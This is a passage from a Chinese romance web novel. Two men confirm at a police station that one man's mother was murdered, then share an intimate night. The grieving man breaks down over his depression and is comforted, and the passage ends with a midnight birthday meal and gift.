摘抄、复制的案卷材料笔笔清晰。派出所里还有傅斯霆当年的笔录原件,和记忆中的……一模一样,没有任何差别。 傅斯霆看了很久。 厉非默默陪着他,当年负责办理江月萍案件的副所长现在已经升任了辖区派出所所长。他当年办案就见过傅斯霆,这男孩很惨他印象深刻,听说现在还失忆了。 真是多灾多难,所长特别同情。 “确实不是车祸。”所长说。 “你妈妈确实是在医院里遭人谋杀。凶手后来判了死刑,当年秋天就执行了。死亡证明、回执和档案也都明确可查。” “” 厉非蹭了蹭傅斯霆的指尖:“现在终于能稍稍安心了么,宝贝?” …… 从警局出来,一切真相查实,可傅斯霆却好像也没有很喜悦的样子。 中午一桌炒菜色香味俱全,他上飞机前直到现在十好几个小时都没吃过什么,这时候却仍旧有种勉强硬页的感觉。 “小霆,吃不下就不吃了。” 他的状况还是有些不对,厉非想带他去就近的医院看看,可他不愿意。 奥兰多的暴雨似乎又追着他们回到了国内,周遭一片山雨欲来的潮湿气息,厉非只能又带他去附近宾馆开了个房间待着。不一会儿,大雨再度倾盆。天灰蒙蒙的没有颜色,气压也越来越让人窒息。 “宝贝,累就再睡一会儿吧。” 傅斯霆点点头,却软绵绵地陷在沙发里没有动,像是依旧没有任何力气,看起来仍旧苍白疲惫又涣散,有一种枯萎的感觉。厉非给倒了一杯温水,轻声叫他:“乖,喝点水。”干涩的唇被滋润了。厉非将水杯放回茶几上,又蹲下身去握他的手。 那只手仍旧冰得吓人。 昏暗的房间透着一股窒息的沉重,空气都被傅斯霆的灰暗浸染。厉非坐在他身边握着他的手,竟一时也不知道该说什么。 人生第一次觉得,他在想……是不是他的安慰,他的拥抱也已经彻底魔法失效,再也抵达不了傅斯霆封闭的心底。 厉非不是沮丧。 他只是在理性地想着这种结论可能性。 因为如果这是事实,他就得赶紧好好接受这个事实,给傅斯霆再制定有效的治疗办法。反正本来比起童话故事,科学的治疗就要靠谱多了。想着,掌心在这时被轻轻蹭了蹭。 很细碎,比小狗的舔舐都轻。厉非愣了愣,才发现傅斯霆指尖微微颤抖,正竭尽全力将他往自己身边拉扯。厉非凑近后,傅斯霆缓缓仰起头,干裂的嘴唇微微颤抖,目光安静,有一丝微微的明亮。 “” 窗外狂风大雨。不知又是谁先断线发疯。 完全就没有道理。 可等反应过来,两个人已经在沙发上吻得毫无章法又难舍难分。厉非一开始觉得是自己的错,是自己不应该,可下一秒唇被很很咬了。有人呼吸紊固粗重,正在拼命索取,带着 种不要命的疯狂。 “小霆,“他在换气的间隙里轻声唤他,“我在。” “我在的,一直在。” 傅斯霆的动作顿了一下,随即更加用力。箍着厉非的腰像是溺水的人抓住最后 根浮木,几乎是要用尽最后的生命将自己所有的情感 痛处与依恋,都倾注在这一刻的亲吻和耳鬓斯磨里。 厉非垂眸,依旧温柔回应。 衣襟被修长的手指探进、滑入,傅斯霆掌心滚烫,与冰凉的唇形成鲜明对比。 这次竟然是傅斯霆主动脱他衣服。 厉非跨坐在他腿上,任由他撕扯,放弃理智环抱着亲吻。 一次又一次。 这一回傅斯霆虽然还是有点没有章法,但已经不是昨晚那样笨笨的。他很卖力,非常卖力,只在弄到一半时才又好像恢复了点神智,开始温柔下来,并时不时偷偷观察厉非。 似乎,如果他表现出一点点不舒服和抗拒,他就会马上碎掉一样。 荒唐完了,傅斯霆再一次睡得很沉很沉。厉非打了几个电话,才陪他一起在雨中在狭窄柔软的沙发上相拥而眠。 不知过了多少个小时,天已经完全黑了,厉非就在这安然的黑幕之中抱着怀里人默默听雨。 不久,怀里人也醒了,动了一下,像奄奄一息的小动物,很轻地喊了一声:“厉非。” “嗯。”厉非点点头,下意识就搂紧他,让他的头抵在自己胸口。 窗外没有声音,黑夜里万籁俱寂。 良久,胸口逐渐湿润。 眼泪无声地滑落。一滴接着一滴,顺着傅斯霆脸颊缓缓流淌,像是永远流不尽。那泪滴砸在厉非的手背上,冰凉刺骨。 紧接着,更多的眼泪涌了出来,无声却汹涌。 整整两天,傅斯霆终于打通了那个流泪的穴位,第一次哭出来。 他呼吸急促,肩膀一抖一抖不成样子,抓住厉非后背的衣料用力得指尖都发白。 “我很努力了….”他哽咽着,颠三倒四地说,“这六年,我很努力……真的已经拼尽全力了。可为什么,还是一事无成,什么也没能做到,什么都保护不了” “小霆,不是你的错。” “我好累,真的好累。可我都很努力了 为什么还是什么都不行。我也想…也想要继续再努力一点,可现在只是活着就好累。我也不知道自己怎么了,就是觉得每 天都好累“ “不想起床,不想吃饭。只想躺着什么都不做,我讨厌那样的自己,可我没有办法。” “” 大四,室友们早早有了出路。赵冉敲定了军队前途大好的文职,白裴皓继承了家里的公司,常傲瑜签了不错的科技大厂。 他也该脚踏实地行动。 要么一鼓作气把游戏做完,要么赶紧去外面先找个工作干。以他的学历和专业排名绝对找得到一份说得过去的工作,傅斯霆也知道这并不会特别难。 甚至常傲瑜都好心把简历模板发给他了,他要做的就只是换上自己的名字和照片,加几行字,去各个公司海投就行。 是可以做到的,明明也没有多难。 可为什么他却连那点力气都没有。 为什么每一天他都好像踩不到地面,一直在恐慌心悸。感觉只要下了床到处都是深渊。 理智上他很清楚,他其实并没有到山穷水尽那一步,可现实就是只想懒在床上,一步都不想走,越来越痛恨颓废的自己,恶性循环。 大四了,别人都在向前跑,都有了像样的前途。 他为什么不能振作起来。 何况还有几个月,他就可以遇到厉非了。 就好像穿过无比幽暗狭长的隧道,都隐约看见光芒了,就差那么几步,爬也应该爬过去! 他又不是奄奄一息了。他还活着,能呼吸,没瘫痪,往前爬两步就可以了,可他就是不动。 他也想让自己动! 他也想让自己动起来啊,为什么不动?! 喉咙哽咽,所有情绪彻底爆发,像是要将这些天没哭出来的泪都一次性流干。 厉非黑瞳幽深,紧紧把他摁在胸口,细细亲吻。 任由他发泄。 …… 像一个穿越万里山川、一直孤独行走的人,终于找到了可以喘息的栖身之所。不知过了多久,傅斯霆才渐渐平复下来,像是宣泄累了,浑浑噩噩的恍惚。一顿尽情发泄,心底的斑驳铁锈似乎被洗刷,终于没有那么刺人。他又一次精疲力尽地睡着了。 厉非不知抱了他多久,等他再次醒来,被他枕着的那只手早就有点发麻。他擦掉傅斯霆脸上斑驳的泪痕,在他脸颊亲了下:“小霆,哭过以后,好些了吗?” "……." 其实是好了一些的。 其实,好了很多。 压抑的情绪宣泄出去后,虽然头脑依旧不转,但至少身体上……有一种被水洗过、晾晒,焕然一新的感觉。 突然不沉重了。 好像那些压得人喘不过气的沉重,都终于跟随身体的水汽起蒸腾消散。他轻轻动了动手指,他的手现在搭在厉非腰间,可以听话地、悄悄地抓紧他的睡衣。 再也不是之前那种僵硬沉重的动弹不得。 厉非换了个姿势把他重新搂进怀里。 “快半夜了,”他说,“你午饭也没怎吃,距离上一顿饭都过了二十四小时了。” “有没有稍微觉得饿一点?” 傅斯霆其实仍没什么感觉,但还是点头起来了。 晚上十—二点,街上也没什么人。 这毕竟是傅斯霆从小生活的城市,他知道哪里有店半夜还开着。离派出所不远,有一整条街都叫“面条街”,很多店营业到很晚,甚至还有一家有名的二十四小时小面馆。时间已近午夜十二点,店里人也不多,厉非给傅斯霆点了一碗素净的阳春面加鸡蛋。傅斯霆虽然没什么胃口,但知道厉非担心他,还是逼着自己吃了不少。素净细面加了些青菜,汤头也很清澈,吃着口感很舒服。 傅斯霆吃着吃着,整个胃的紧缩感渐渐消失了,味觉也回来了。 越吃,就越来越能吃得下。 “吃慢点。” 厉非拧开一瓶水,递给他喝。 傅斯建吃完了,居然默致吃得很满足,甚至觉得很好吃。他 向容易晕碳,坐在那里呆乎乎了片刻。厉非黑瞳看着墙面上钟表不断转动的秒针,忽然垂眸模出了个小盒子,放在傅斯面前。“现在太晚了,应该没有蛋糕店还开着。”他说,“但你刚刚吃了长寿面,按照传统也算是庆祝。” 丝绒的小盒子,在灯光下闪着一层华美的光泽。 “是给傅小霆的生日礼物。”厉非黑瞳看着他,微笑。 “刚刚过了午夜十二点。所以今天已经是八月+一日了,是傅斯霆二十九岁的生日。” "…" 傅斯霆在他温柔凝望的目光中恍惚了片刻。 “宝贝,二十九岁生日快乐。” “但,是不是这对二十二岁的你来说还有点早?” “那就把它当成你任何一年的生日,我来陪你一起过,好吗?”